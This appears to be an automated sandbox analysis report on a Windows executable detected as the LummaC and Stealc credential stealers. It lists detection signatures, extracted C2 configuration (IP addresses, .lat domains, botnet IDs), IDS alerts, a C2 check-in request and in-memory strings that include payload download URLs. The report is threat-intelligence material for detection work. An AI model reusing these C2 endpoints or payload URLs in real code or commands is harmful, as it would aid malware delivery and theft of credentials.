Edit tour

Windows Analysis Report
uDTW3VjJJT.exe

Overview

General Information

Sample name:	uDTW3VjJJT.exe renamed because original name is a hash value
Original sample name:	c55aabf570c84e3060df0d997f2bfb33.exe
Analysis ID:	1578971
MD5:	c55aabf570c84e3060df0d997f2bfb33
SHA1:	8d2fd3178f3b1865c759e2df6ce3b9e889ef1ff4
SHA256:	eda1f4fdb57fdab8e38c18eb512baf9d23f244d03c7ec2a022bac98e681fe91b
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

uDTW3VjJJT.exe (PID: 6052 cmdline: "C:\Users\user\Desktop\uDTW3VjJJT.exe" MD5: C55AABF570C84E3060DF0D997F2BFB33)

FC6S9INH3UEK91EJWRLCPKUP1.exe (PID: 5064 cmdline: "C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe" MD5: ED267F8F886C1D23165754F5C17B852D)

DXNVSY83L0YWDTI5Q.exe (PID: 6628 cmdline: "C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe" MD5: A0956C9F9C719B85668C6F8B85F89A5B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["crosshuaht.lat", "sustainskelet.lat", "discokeyus.lat", "energyaffai.lat", "grannyejh.lat", "sweepyribs.lat", "necklacebudi.lat", "rapeflowwj.lat", "aspecteirs.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.2660131212.0000000000FB1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2612918686.0000000004900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: uDTW3VjJJT.exe PID: 6052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: uDTW3VjJJT.exe PID: 6052	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: DXNVSY83L0YWDTI5Q.exe PID: 6628	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: DXNVSY83L0YWDTI5Q.exe PID: 6628	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:15.059852+0100	2028371	3	Unknown Traffic	192.168.2.6	49725	104.21.21.99	443	TCP
2024-12-20T17:17:17.102972+0100	2028371	3	Unknown Traffic	192.168.2.6	49731	104.21.21.99	443	TCP
2024-12-20T17:17:19.947652+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	104.21.21.99	443	TCP
2024-12-20T17:17:22.587745+0100	2028371	3	Unknown Traffic	192.168.2.6	49748	104.21.21.99	443	TCP
2024-12-20T17:17:24.907081+0100	2028371	3	Unknown Traffic	192.168.2.6	49761	104.21.21.99	443	TCP
2024-12-20T17:17:28.242210+0100	2028371	3	Unknown Traffic	192.168.2.6	49771	104.21.21.99	443	TCP
2024-12-20T17:17:32.205154+0100	2028371	3	Unknown Traffic	192.168.2.6	49782	104.21.21.99	443	TCP
2024-12-20T17:17:40.926592+0100	2028371	3	Unknown Traffic	192.168.2.6	49803	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:15.831759+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49725	104.21.21.99	443	TCP
2024-12-20T17:17:17.872716+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49731	104.21.21.99	443	TCP
2024-12-20T17:17:41.770378+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49803	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:15.831759+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49725	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:17.872716+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49731	104.21.21.99	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:15.059852+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49725	104.21.21.99	443	TCP
2024-12-20T17:17:17.102972+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49731	104.21.21.99	443	TCP
2024-12-20T17:17:19.947652+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49737	104.21.21.99	443	TCP
2024-12-20T17:17:22.587745+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49748	104.21.21.99	443	TCP
2024-12-20T17:17:24.907081+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49761	104.21.21.99	443	TCP
2024-12-20T17:17:28.242210+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49771	104.21.21.99	443	TCP
2024-12-20T17:17:32.205154+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49782	104.21.21.99	443	TCP
2024-12-20T17:17:40.926592+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49803	104.21.21.99	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:43.251739+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49809	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:13.654987+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.6	55312	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:13.338207+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	55364	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:13.189457+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	60776	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:23.446782+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49748	104.21.21.99	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:17:58.547107+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49849	185.215.113.206	80	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/=
Source: uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/T
Source: uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe=
Source: uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php$n
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0n
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/hy
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: uDTW3VjJJT.exe, 00000000.00000003.2372070060.000000000146C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: uDTW3VjJJT.exe, 00000000.00000003.2331254666.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/A
Source: uDTW3VjJJT.exe, 00000000.00000003.2384731015.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/J
Source: uDTW3VjJJT.exe, 00000000.00000003.2321444033.0000000001467000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2371259780.000000000146C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/aZ
Source: uDTW3VjJJT.exe, 00000000.00000003.2384505747.0000000005C21000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2296930285.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541484535.0000000005C16000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2271317206.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: uDTW3VjJJT.exe, 00000000.00000003.2371332422.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2371118711.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2384505747.0000000005C21000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2296930285.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2296954609.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api7X
Source: uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2384731015.000000000144B000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541484535.0000000005C16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/api
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: uDTW3VjJJT.exe, 00000000.00000003.2298772132.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: uDTW3VjJJT.exe, 00000000.00000003.2298772132.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: uDTW3VjJJT.exe, 00000000.00000003.2298639103.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: uDTW3VjJJT.exe, 00000000.00000003.2298772132.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: uDTW3VjJJT.exe, 00000000.00000003.2298772132.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: uDTW3VjJJT.exe, 00000000.00000003.2298772132.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.6:49803 version: TLS 1.2

System Summary

